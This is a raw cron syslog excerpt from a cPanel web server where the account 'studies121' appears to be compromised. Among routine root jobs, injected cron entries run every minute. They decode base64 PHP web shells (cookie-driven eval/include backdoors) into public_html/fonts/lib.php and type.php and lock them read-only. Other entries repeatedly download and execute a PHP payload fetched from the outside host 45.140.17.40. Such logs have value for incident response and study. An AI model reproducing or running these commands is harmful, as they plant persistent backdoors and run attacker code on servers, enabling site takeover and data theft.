Sep 10 12:49:01 ip-184-168-122-23 CROND[10385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:49:01 ip-184-168-122-23 CROND[10387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:49:01 ip-184-168-122-23 CROND[10386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:50:01 ip-184-168-122-23 CROND[10519]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:50:01 ip-184-168-122-23 CROND[10521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:50:01 ip-184-168-122-23 CROND[10523]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 12:50:01 ip-184-168-122-23 CROND[10526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:50:01 ip-184-168-122-23 CROND[10528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:50:01 ip-184-168-122-23 CROND[10529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:50:01 ip-184-168-122-23 CROND[10531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:50:01 ip-184-168-122-23 CROND[10532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:50:01 ip-184-168-122-23 CROND[10530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:51:01 ip-184-168-122-23 CROND[10632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:51:01 ip-184-168-122-23 CROND[10636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:51:01 ip-184-168-122-23 CROND[10634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:51:01 ip-184-168-122-23 CROND[10635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:52:01 ip-184-168-122-23 CROND[10718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:52:01 ip-184-168-122-23 CROND[10720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:52:01 ip-184-168-122-23 CROND[10721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:52:01 ip-184-168-122-23 CROND[10722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:52:01 ip-184-168-122-23 CROND[10723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:53:01 ip-184-168-122-23 CROND[10904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:53:01 ip-184-168-122-23 CROND[10906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:53:01 ip-184-168-122-23 CROND[10907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:53:01 ip-184-168-122-23 CROND[10908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:54:01 ip-184-168-122-23 CROND[11017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:54:01 ip-184-168-122-23 CROND[11020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:54:01 ip-184-168-122-23 CROND[11019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:54:01 ip-184-168-122-23 CROND[11021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:54:01 ip-184-168-122-23 CROND[11022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:55:01 ip-184-168-122-23 CROND[11145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:55:01 ip-184-168-122-23 CROND[11147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:55:01 ip-184-168-122-23 CROND[11149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:55:01 ip-184-168-122-23 CROND[11151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:55:01 ip-184-168-122-23 CROND[11152]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:55:01 ip-184-168-122-23 CROND[11153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:56:01 ip-184-168-122-23 CROND[11248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:56:01 ip-184-168-122-23 CROND[11247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:56:01 ip-184-168-122-23 CROND[11250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:56:01 ip-184-168-122-23 CROND[11249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:56:01 ip-184-168-122-23 CROND[11251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:57:01 ip-184-168-122-23 CROND[11419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:57:01 ip-184-168-122-23 CROND[11418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:57:01 ip-184-168-122-23 CROND[11420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:57:01 ip-184-168-122-23 CROND[11421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:58:01 ip-184-168-122-23 CROND[11513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:58:01 ip-184-168-122-23 CROND[11514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:58:01 ip-184-168-122-23 CROND[11517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:58:01 ip-184-168-122-23 CROND[11519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:58:01 ip-184-168-122-23 CROND[11518]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:59:01 ip-184-168-122-23 CROND[11733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:59:01 ip-184-168-122-23 CROND[11736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:59:01 ip-184-168-122-23 CROND[11737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:59:01 ip-184-168-122-23 CROND[11739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:00:01 ip-184-168-122-23 CROND[11830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:00:01 ip-184-168-122-23 CROND[11832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:00:01 ip-184-168-122-23 CROND[11834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:00:01 ip-184-168-122-23 CROND[11835]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:00:01 ip-184-168-122-23 CROND[11833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:00:01 ip-184-168-122-23 CROND[11837]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:00:01 ip-184-168-122-23 CROND[11838]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:00:01 ip-184-168-122-23 CROND[11836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:01:02 ip-184-168-122-23 CROND[11936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
